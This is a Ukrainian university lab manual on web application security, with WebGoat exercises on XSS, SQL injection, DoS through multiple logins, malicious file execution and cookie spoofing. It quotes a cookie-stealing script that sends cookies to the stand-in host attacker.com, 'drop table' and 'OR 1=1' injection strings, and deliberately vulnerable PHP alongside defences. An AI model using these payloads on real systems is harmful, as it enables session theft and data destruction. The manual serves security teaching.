ЛАБОРАТОРНА РОБОТА №3 (КОМАНДНО) із Безпеки WEB-ресурсів
ВАРІАНТ № 1
Міжсайтове виконання сценаріїв (Cross Site Scripting)
Дана практична робота дозволяє ознайомитись із технікою виконання атак XSS та
способами захисту веб-додатків від такого роду уразливостей.
XSS є досить поширеною вразливістю програмного забезпечення, властивою вебдодаткам. Він дозволяє зловмиснику впровадити шкідливий код на сторінку і відправити його
назад в браузер користувача, де цей код буде виконано. Причиною цьому є довірчі відносини
розробника додатка до вхідних даних або некоректна фільтрація вхідних даних [3].
Існує три типи атак XSS:
Збережені атаки XSS (stored XSS). Шкідливий код зберігатися на сайті або сервері.
Відображені атаки XSS (reflected XSS). Користувачеві необхідно відвідати
спеціально сформоване посилання.
Атаки XSS, основані на об’єктній моделі документу (DOM Based XSS).
Джерело проблеми знаходиться в клієнтському сценарії.
Завдання 1. Збережені атаки XSS (Stored XSS)
Wikipedia характеризує збережену атаку XSS як найбільш руйнівний тип атак.
Збережені атаки XSS є можливими у випадку, коли зловмисникові вдається впровадити на
сервер шкідливий код, що виконується в браузері кожен раз при зверненні до оригінальної
сторінки. Класичним прикладом цієї уразливості є форуми, на яких дозволено залишати
коментарі в HTML форматі без обмежень. Іншими словами, збережені XSS виникають, коли
розробники здійснюють некоректну фільтрацію при збереженні вхідних дані в БД на сервері або
при записі цих даних у файли, а потім виводять ці дані в браузер користувачеві [4].
Нижче наведено приклад PHP сценарію, уразливого до збережених атак XSS [4]:
<?php
if(isset($_POST['btnSign']))
{
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
Оброблення введеного значення змінної
message $message = stripslashes($message);
$message = mysql_real_escape_string($message);
Оброблення введеного значення змінної name
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name)
VALUES ( '$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>
коді не здійснюється коректна обробка параметрів "message" і "name" перед
збереженням даних у таблицю «guestbook». Таким чином, при виведенні цих даних в
браузер користувача існує можливість виконання шкідливого JavaScript коду.
Так, якщо у створене поле коментарів (message) ввести код:
<script>alert(“Stored XSS”)<script> та надіслати повідомлення
в гостьову книгу (guestbook) ми отримаємо нове віконечко із надписом «Stored XSS».
Більше того, за допомогою збереженого XSS зловмисник може реалізувати викрадення
cookie файлів.
<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script> Даний
сценарій призведе до завантаження зображення з сервера зловмисника, якому
будуть передані cookie файли користувача, що переглянув цю картинку. Для виконання
завдання необхідно запустити веб-додаток WebGoat, проксі-сервер WebScarab (інструкції щодо
інсталяції та використання яких описані у Практичній роботі №1) та перейти за посиланням
http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=1, де міститься відповідний урок
проекту OWASP WebGoat.
Завдання даного уроку (рис. Д1.10): виконання збереженої атаки XSS (stored XSS).
Виконайте завдання, використовуючи підказки.
Рис. Д1.10. Завдання 1 – Збережені атаки XSS
Завдання 2. Блокування збережених атак XSS (Stored XSS), використовуючи
перевірку вхідних даних (Input Validation)
Нижче представлені загальні підходи для перевірки вхідних даних та, відповідно,
запобігання збережених атак XSS (stored XSS) [5]:
Фільтрування вхідних параметрів на наявність спеціальних символів. Фільтрація
вхідних даних виконується шляхом видалення деяких або всіх спеціальних символів з
вхідних даних. Спеціальні символи – це символи, що дозволяють генерацію скрипту під
час HTML потоку. Спеціальні символи включають в себе наступні:
<> "'%;) (& + Фільтрування вихідних даних, базуючись на вхідні параметри для спеціальних символів.
Цей метод є схожим на фільтрацію вхідних даних, та фільтрує символи, які вводяться клієнту.
2
Для захисту сайту від XSS-атаки можна написати невелику функцію, яка буде
фільтрувати рядок на предмет вмісту тегів [6]:
function str_secure($str)
{
$str = htmlspecialchars($str);
return $str;
}
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=2,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.11): позбавитись уразливостей збереженого XSS
(stored XSS) шляхом перевірки вхідних даних. Виконайте завдання, використовуючи підказки.
Завдання 3. Повторне здійснення збереженої атаки XSS (stored XSS)
Техніка здійснення даних атак описана в Завданні 1.
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=3,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.12): повторно виконати збережену атаку XSS (stored XSS).
Виконайте завдання, використовуючи підказки.
Рис. Д1.11. Завдання 2 – Блокування збережених атак XSS, використовуючи перевірку
вхідних даних
3
Рис. Д1.12. Завдання 3 – Повторне здійснення збереженої атаки XSS
Завдання 4. Блокування збережених атак XSS (Stored XSS), використовуючи
кодування вихідних даних (Output Encoding)
Кодування вихід даних на основі вхідних параметрів є ефективним для даних, які з
певних причини не були перевірені під час вводу. За допомогою таких методів, як
URLEncode і HTMLEncode, цілком можливо запобігти виконання зловмисних скриптів.
HTMLEncode кодує рядок і повертає закодований рядок [7].
URLEncode гарантує, що всі браузери будуть правильно передавати текст рядків
URL. Такі символи, як ?, І, / та «пропуски» можуть бути видалені деякими браузерами,
тому ці символи повинні бути закодовані в теги <A> [7].
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=4,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.13): заблокувати уразливість збереженого XSS (stored
XSS), використовуючи кодування вихідних даних. Виконайте завдання, використовуючи підказки.
4
Рис. Д1.13. Завдання 4 – Блокування збережених атак XSS,
використовуючи кодування вихідних даних
Завдання 5. Відображені атаки XSS (Reflected XSS)
Згідно Wikipedia, відображені атаки XSS (reflected XSS) є найбільш поширеним типом
XSS атак. Даний тип атак має місце, коли дані, що надаються веб-клієнтам в рядку запиту або
HTML формі, використовуються для генерації відповіді клієнту без обробки цих даних [4].
Відображені атаки XSS доставляються жертвам через інший маршрут, наприклад, в
повідомленні електронної пошти або на інший веб-сервер. Коли користувач, не усвідомлюючи,
натискає на шкідливе посилання або заповнює спеціально створену форму, впроваджений код
переходить до уразливого веб-сервера, який відбиває напад назад в браузер користувача.
Потім браузер виконує код, оскільки він прийшов з "довіреного" серверу [8].
Нижче наведено приклад коду, уразливого до відображених атак XSS [9]:
<?php
if(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){
$isempty=true;
}
5
else{
echo '<pre>';
echo 'Hello' . $_GET['name'];
echo '</pre>';
}
?>
Як видно з прикладу, очищення даних не здійснюється для параметра "name"
перед його виведенням в браузер користувача. Таким чином, якщо в нього впровадити
JavaScript сценарій, його буде виконано.
Припустимо, у нас є створена HTML сторінка з заголовком «Vulnerability: Reflected
Cross Site Scripting (XSS)».
<h1 id="\Header1\">Vulnerability: Reflected Cross Site Scripting (XSS)</h1>
Наступний код міняє заголовок сторінки на «Perspective Risk Are The Best!» [10].
<script>
function editHeader(){
var ourHeader = document.getElementById("Header1");
ourHeader.innerHTML = "Perspective Risk Are The Best!";
}
</script>
<button onclick="editHeader()">Click to edit!</button>
даному випадку, використовуючи властивість innerHTML, ми отримуємо доступ
до HTML коду та можемо вносити в нього зміни.
<button onclick="editHeader()">Click to edit!</button>
Даний код створює кнопку, що приводить функцію в дію і, таким чином, змінює заголовок
сторінки.
Крім того, відображена атака XSS може здійснювати викрадення cookie файлів.
Наприклад [11], на сайті публікується наступне повідомлення:
<script>document.location=‟http://banking.com/search?name=<script>document.write("<img
src=http://attacker.com/” + document.cookie + “>”)</script>‟</script>
Потім, коли користувача буде перенаправлено на сайт banking.com з XSS, буде
повернутий і виконаний наступний сценарій:
<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>
Цей сценарій намагається завантажити зображення з сервера атакуючого, якому
будуть передані cookie файли користувача сайту banking.com.
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичнійроботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=5,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.14): здійснення відображеної атаки XSS (reflected XSS).
Виконайте завдання, використовуючи підказки.
6
Рис. Д1.14. Завдання 5 – Відображені атаки XSS
Завдання 6. Блокування відображеної атаки XSS (Reflected XSS),
використовуючи перевірку вхідних даних (Input Validation)
Техніка захисту від відображених атак XSS шляхом перевірки вхідних даних
залишається такою ж, як для збережених атак XSS (Завдання 2).
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=20&menu=900&stage=6,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.15): позбавитись уразливості відображеного XSS
(reflected XSS) шляхом перевірки вхідних даних. Виконайте завдання, використовуючи підказки.
7
Рис. Д1.15. Завдання 6 – Блокування відображеної атаки XSS, використовуючи
перевірку вхідних даних
8
ВАРІАНТ № 2
Вставка інструкцій SQL (SQL Injection)
Дана практична робота дозволяє ознайомитись із технікою виконання атак
SQL Injection та способами захисту веб-додатків від такого роду уразливостей.
Вставка інструкцій SQL (SQL Injection) являє собою впровадження SQL-коду в
вхідні дані запиту від клієнта до додатку. Успішне виконання SQL Injection надає
можливість прочитати конфіденційні дані з бази даних, змінити дані у базі даних
(вставлення / оновлення / видалення), виконувати операції адміністрування бази
(наприклад, відключення СУБД), відновити вміст заданого файлу в файловій системі
СУБД, а в деяких випадках також і здійснювати команди для операційної системи [12].
Виділяють такіпричини виникнення уразливостей типу «Вставка інструкцій SQL» [13]:
Динамічна побудова SQL-запитів. Динамічні SQL-запити популярні серед
розробників, так як вони прості і зручні у використанні. Нижче представлений приклад
динамічного SQL-запиту на мові Java.
творення динамічного запиту
String query = “SELECT * FROM products WHERE name LIKE „ ” +
request.getParameter(“name”) + “%‟ ORDER BY name”;
На жаль, динамічні SQL-запити є причиною вставки інструкцій SQL. Якщо вхідні дані не
достатньо перевіряються і не кодуються додатком у момент передачі запиту СУБД на
виконання, тоді за певних умов вони можуть бути інтерпретовані СУБД як додаткові команди.
Некоректне оброблення виключень.Більшість додатків некоректно обробляють виняткові
ситуації, що виникають при роботі з СУБД, і відображають повідомлення користувачеві про
виключення, які виникли. У результаті зловмисник може дізнатися деталі реалізації додатку (мова
розроблення додатка, тип і версію СУБД), а також витягти конфіденційну інформацію з БД.
Некоректне оброблення спеціальних символів. В СУБД Oracle символи ('), (.), (,), (| |),
(/ *), (* /), (") є спеціальними. Так, символ одинарних лапок (') інтерпретується в SQL-запиті як
початок/кінець рядка, а символ коментаря (* /) позначає кінець коментаря. Якщо додаток
некоректно обробляє спеціальні символи, що містяться у вхідних параметрах, то запит,
переданий СУБД, може бути модифікований зловмисником з метою отримання інформації з БД.
Некоректне оброблення типів. Багато розробників додатків вважають, що фільтрація
одинарних лапків (') рятує від вставки інструкцій SQL (SQL Injection). Символ одинарних лапків
(') позначає кінець рядка в SQL-запиті і відокремлює дані від виконуваних команд. Фільтрацією
(') можна захиститися від SQL Injection тільки в рядкових параметрах. При цьому зберігається
уразливість до SQL Injection в параметрах інших типів, наприклад в числових.
Завдання 1. Вставка інструкцій SQL в рядкові параметри (String SQL Injection)
String SQL Injection характеризується впровадженням SQL-коду в змінні типу
string. Для прикладу, припустимо, представлено наступний сценарій [14]:
var Shipcity;ShipCity = Request.form ("ShipCity");var sql = "select * from OrdersTable where
ShipCity = '" + ShipCity + "'";
Якщо користувач вводить запит для міста Redmond, то має наступний вид:
SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond'
Але якщо користувач введе
Redmond'; drop table OrdersTable-як результат ми отримаємо SQL-запит:
SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond';drop table OrdersTable--'
Крапка з комою «;» позначає кінець одного запиту і початок іншого. А послідовність двох
дефісів (--) означає, що інша частина поточного рядка є коментарем і не повинна оброблятися.
Коли SQL Server буде обробляти цю інструкцію, SQL Server насамперед відбере всі записи в
OrdersTable, де ShipCity є Redmond, а потім SQL Server видалить OrdersTable.
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер WebScarab
(інструкції щодо інсталяції та використання яких описані в Практичній роботі №1) та
9
перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=71&menu=1100&stage=1, де
міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис.Д1.16): здійснити string SQL Injection таким чином, щоб
ввійти в обліковий запис керівника, використовуючи невірний пароль. Використайте підказки.
Завдання 2. Параметризовані запити (parameterized queries)
Вставка інструкцій SQL (SQL Injection) найкраще запобігається за допомогою
параметризованих запитів (parameterized queries). Нижче вказані загальні рекомендації з
побудови параметризованих запитів (parameterized queries) для різних мов програмування [15]:
Java EE – використовувати PreparedStatement() зі змінними bind variables;
.NET – використовувати параметризовані запити, як SqlCommand() або OleDbCommand()
зі змінними bind variables;
PHP – використовувати PDO зі строго типізованими параметризованими запитами
(з використанням bindParam())
Hibernate – використання CreateQuery() зі змінними bind variables (відомі як named
parameters in Hibernate);
SQLite – використовувати sqlite3_prepare() для створення об’єкта.
Рис. Д1. 16. Завдання 1 – Вставка інструкцій SQL в рядкові параметри
Нижче приведений приклад параметризованого запиту, написаного на мові Java:
String custname = request.getParameter("customerName");
виконати перевірку вхідних даних для виявлення атак
String query = "SELECT account_balance FROM user_data WHERE user_name =
? "; PreparedStatement pstmt = connection.prepareStatement( query );
10
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
Для .NET все виглядає простіше. Створення та виконання запиту не змінюється. Потрібно
лише передати параметри в запит, використовуючи Parameters.Add() як показано нижче:
String query =
"SELECT account_balance FROM user_data WHERE
user_name = ?"; try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName", CustomerName
Name.Text)); OleDbDataReader reader = command.ExecuteReader();
…
} catch (OleDbException se) {// error handling
}
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=71&menu=1100&stage=2,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.17): заблокувати уразливість string SQL Injection таким
чином, щоб було неможливо повторно здійснити Завдання 1. Використайте підказки.
Рис. Д1.17. Завдання 2 – Параметризовані запити
Завдання 3. Вставка інструкцій SQL в числові параметри (Numeric SQL Injection)
11
Вставка інструкцій SQL в числові параметри (Numeric SQL Injection)
характеризується впровадженням SQL-коду в числові змінні. Одним з найпростіших
прикладів є наступний сценарій, який призначений для відображення новин [16]:
$id = $_REQUEST['id'];
$res = mysql_query("SELECT * FROM news WHERE id_news =
$id"); Зробивши запит виду
http://example.org/script.php?id=5
буде виконано наступний SQL-запит:
SELECT * FROM news WHERE id_news = 5
Але якщо користувач (а точніше зловмисник) передасть запит
http://example.org/script.php?id=-1+OR+1=1
ми отримаємо SQL-запит:
SELECT * FROM news WHERE id_news = -1 OR 1=1
Таким чином, замість новин із заданим ідентифікатором будуть вибрані всі наявні в базі
новини, оскільки вираження 1=1 завжди є істиною. Необхідно запустити веб-додаток WebGoat,
проксі-сервер WebScarab (інструкції щодо інсталяції та використання яких описані у роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=71&menu=1100&stage=3,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.18): здійснити numeric SQL Injection таким чином, щоб
дозволити працівнику перегляд профілю керівника компанії, немаючи на це прав доступу.
Рис. Д1.18. Завдання 3 – Вставка інструкцій SQL в числові параметри
Завдання 4. Параметризовані запити (parameterized queries)
12
Усі теоретичні примітки щодо параметризованих запитів, зазначені в Завданні 2, дійсні і
для цього випадку. Для виконання завдання необхідно запустити веб-додаток WebGoat, проксісервер WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній №0)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=71&menu=1100&stage=4,
де міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.19): заблокувати уразливість numeric SQL Injection
таким чином, щоб було неможливо повторно здійснити Завдання 3. Використайте підказки.
Рис. Д1.19. Завдання 4 – Параметризовані запити
Завдання 5. Вставка інструкцій SQL (SQL Injection) з метою модифікації даних
Для даного уроку використовуйте теоретичні примітки щодо здійснення вставки
інструкцій SQL в рядкові параметри (string SQL Injection), зазначені в Завданні 1. Для виконання
завдання необхідно запустити веб-додаток WebGoat, проксі-сервер WebScarab (інструкції щодо
інсталяції та використання яких описані в Практичній роботі №1) та перейти за посиланням
13
http://localhost:8080/WebGoat/attack?Screen=38&menu=1100, де міститься відповідний урок
з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.20): змінити заробітну плату працівника в БД,
використовуючи string SQL Injection. Виконайте завдання, використовуючи підказки.
Рис. В1.20. Завдання 5 – Здійснення вставки інструкцій SQL з метою модифікації даних
Завдання 6. Виконання більше ніж одного SQL-запиту
Мова SQL дозволяє об'єднувати результати декількох запитів за допомогою оператора
UNION. Це надає зловмисникові можливість отримати несанкціонований доступ до даних.
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=12&menu=1100, де
міститься відповідний урок з проекту OWASP WebGoat.
14
Завдання даного уроку (Рис. Д1.21): використовуючи string SQL Injection,
виконати більше ніж один SQL-запит. Виконайте завдання, використовуючи підказки.
Рис. Д1.21. Завдання 6 – Виконання більше ніж одного SQL-запиту
15
ВАРІАНТ № 3
Виконання шкідливого коду, DOS атаки та Spoofing
Дана практична робота розглядає можливості реалізації DoS атак, виконання
шкідливого коду та атаки підміни (spoofing).
Завдання 1. DoS атака при наявності можливості множинного входу (Denial
of Service from Multiple Logins)
Атака на відмову в обслуговуванні (DoS attack) – це напад на комп'ютерну
систему з наміром зробити комп'ютерні ресурси недоступними до користувачів, для яких
комп'ютерна система була призначена [17].
Одним із найпоширеніших методів нападу є насичення атакованого комп'ютера
або мережевого устаткування великим числом зовнішніх запитів (часто безглуздих), таким
чином атаковане устаткування не може відповісти користувачам або відповідає настільки
повільно, що стає фактично недоступним. Загалом, DoS атака здійснюється [17]:
примусом атакованого устаткування до зупинки роботи програмного
забезпечення/устаткування або до витрат наявних ресурсів, внаслідок чого устаткування
не може продовжувати роботу;
заняттям комунікаційних каналів між користувачами і атакованим устаткуванням,
внаслідок чого якість сполучення перестає відповідати вимогам.
Попереднім етапом для здійснення DoS атаки може бути SQL Injection, яка дозволяє
отримати різного роду конфіденційну інформацію, як, наприклад, паролі та логіни облікових
записів користувачів. Для виконання завдання необхідно запустити веб-додаток WebGoat,
проксі-сервер WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній
№0) та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=63&menu=1200, де
міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.22): використовуючи можливість множинного
входу на сайт (одночасний вхід в декілька облікових записів), здійснити DoS атаку.
Виконайте завдання, використовуючи підказки.
Рис. Д1.22. Завдання 1 – DoS атака при наявності можливості множинного входу
16
Завдання 2. Виконання зловмисного файлу (Malicious File Execution)
Уразливість виконання зловмисних файлів є властивою багатьом веб-додаткам.
Розробники часто безпосередньо використовують потенційно ворожі зчитування з файлів або
потокові функції. На багатьох платформах структура дозволяє використовувати зовнішні
посилання на об'єкти, такі як URL-адреси або посилання файлової системи. Коли дані
недостатньо перевіряються, це може призвести до віддаленої атаки і зловмисний зміст
включаються та/або обробляється веб-сервером. Це дозволяє зловмисникам виконати [18]:
Віддалене виконання коду.
Віддалену установку root kit та повне компрометування системи.
Компрометування внутрішньої системи може бути можливим за рахунок
використання SMB файлів РНР.
Ця атака є особливо поширеною для PHP. З особливою обережністю повинне
здійснюватися зчитування даних з потоку (stream) або файлу для того, щоб
переконатися, що користувач здійснює ввід, який не впливає на імена файлів.
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній №0) та
перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=18&menu=1600, де
міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.23): здійснити виконання зловмисного файлу,
який би дозволяв створення іншого файлу. Виконайте завдання, використовуючи підказки.
Рис. Д1.23. Завдання 2 – Виконання зловмисного файлу
Завдання 3. Підміна cookie при проходженні процедури аутентифікації
(Spoof an Authentication Cookie)
17
Атака з підміною (spoofing attack) – це ситуацію, в якій одна людини або
програма успішно маскується під іншу через фальсифікацію даних і дозволяє отримати
незаконні переваги [19].
Одним з підвидів spoofing є cookie spoofing, тобто підміна cookie.
Cookie – це, перш за все, текстова інформація, яка використовується браузером.
Сервер передає цю інформацію на комп’ютер, де вона обробляється за допомогою
браузера. Таким чином, інформація тільки одного разу потрапляє в систему комп’ютера і
при кожному новому запиті сервера, дана інформація надсилається назад в мережу. Деякі
cookies зберігаються тільки протягом однієї сесії роботи в інтернеті. Вони видаляються
автоматично після закриття роботи браузера. Інші cookies записуються в файл на деякий
період часу щоб використовувати цю інформацію в нових сесіях роботи в інтернеті [20].
Наприклад, у випадку авторизованого доступу до чого-небудь через веб, у cookie
зберігаються логін і пароль протягом сесії, що дає можливість користувачеві не вводити їх
знову при запитах кожного документа, захищеного паролем.
Таким чином, незаконне отримання cookie зловмисником може призвести до зламу
системи аутентифікації та неавторизованого доступу до конфіденційної інформації.
Коли сервер бажає, щоб браузер зберіг cookie, він відправляє запит Set-cookie. У цьому
випадку, якщо cookie підтримуються браузером і їх прийом включений, браузер запам'ятовує
рядок name=value (ім'я = значення) і відправляє її назад серверу з кожним наступним запитом.
Імена, що починаються з символу «$»(без лапок), зарезервовані і не можуть використовуватися
в додатках. Параметр «value» є "непрозорим" користувачеві і може бути чим завгодно, що
сервер хоче послати, можливо у визначеному сервером придатним для друку ASCII-кодуванню.
«Непрозорість» означає, що зміст цікавий і доцільний лише серверу, що послав cookie. Зміст
може, фактично, бути легким для читання будь-кому, хто досліджує cookie. Окрім пари ім'я /
значення, cookie можуть містити термін дії, шлях і доменне ім'я. RFC 2965 також передбачає,
що cookie повинні обов'язково включати номер версії, але це використовується рідко [21, 22].
Приклад заголовка відповіді Set-cookie виглядає наступним чином [21]:
Set-Cookie: name=value; expires=date; path=/; domain=.example.org
Домен (domain) і шлях (path) говорять браузеру, що cookie повинні бути відправлені
назад на сервер при запитах URL для зазначеного домену і шляху. Якщо вони не вказані,
використовуються домен і шлях сторінки, що запитується. Дата закінчення (expires) вказує
браузеру, коли видалити cookie. Якщо термін закінчення не вказаний, cookie видаляються після
закінчення користувальницького сеансу, тобто з закриттям браузера. Якщо ж вказана дата
закінчення терміну зберігання, cookie стають постійними до вказаної дати [21].
Для виконання завдання необхідно запустити веб-додаток WebGoat, проксі-сервер
WebScarab (інструкції щодо інсталяції та використання яких описані в Практичній роботі №1)
та перейти за посиланням http://localhost:8080/WebGoat/attack?Screen=73&menu=1800, де
міститься відповідний урок з проекту OWASP WebGoat.
Завдання даного уроку (Рис. Д1.24): здійснити неавторизований вхід в обліковий запис
користувача, використовуючи cookie spoofing. Виконайте завдання, використовуючи підказки.
18
Рис. Д1.24. Завдання 3 – Підміна cookie при проходженні процедури аутентифікації
Автори попереджають: не намагайтесь здійснювати
неавторизоване тестування безпеки веб-додатків без
дозволу їх власників, адже це тягне за собою
кримінальну відповідальність!!!
ДЖЕРЕЛА:
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
http://www.securitylab.ru/analytics/432835.php
http://www.securitylab.ru/analytics/432835.php
http://support.microsoft.com/kb/252985
http://php.ucoz.ru/publ/2-1-0-1
http://aspnetresources.com/blog/encoding_forms
http://www.perspectiverisk.com/blog/2012/10/real-world-xss-attacks-1introduction-key-javascript-principles/
http://www.securitylab.ru/analytics/432835.php
http://www.perspectiverisk.com/blog/2012/10/real-world-xss-attacks-1introduction-key-javascript-principles/
19
http://www.securitylab.ru/analytics/271931.php
https://www.owasp.org/index.php/SQL_Injection
http://www.cnpo.ru/doc/echelon-sql.pdf
http://technet.microsoft.com/ru-ru/library/ms161953(v=sql.105).aspx
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#Defense_
Option_1:_Prepared_Statements_.28Parameterized_Queries.29
http://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%
B5%D0%BD%D0%B8%D0%B5_SQL%D0%BA%D0%BE%D0%B4%D0%B0#.D0.92.D0.BD.D0.B5.D0.B4.D1.80.D0.B5.
D0.BD.D0.B8.D0.B5_.D0.B2_.D1.81.D1.82.D1.80.D0.BE.D0.BA.D0.BE.D0.B2.D1.
8B.D0.B5_.D0.BF.D0.B0.D1.80.D0.B0.D0.BC.D0.B5.D1.82.D1.80.D1.8B
http://uk.wikipedia.org/wiki/DoS-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
http://ru.wikipedia.org/wiki/Spoofing
http://a-yak.com/shho-take-cookies/
http://ru.wikipedia.org/wiki/HTTP_cookie
http://uk.wikipedia.org/wiki/%D0%9A%D1%83%D0%BA%D0%B8
20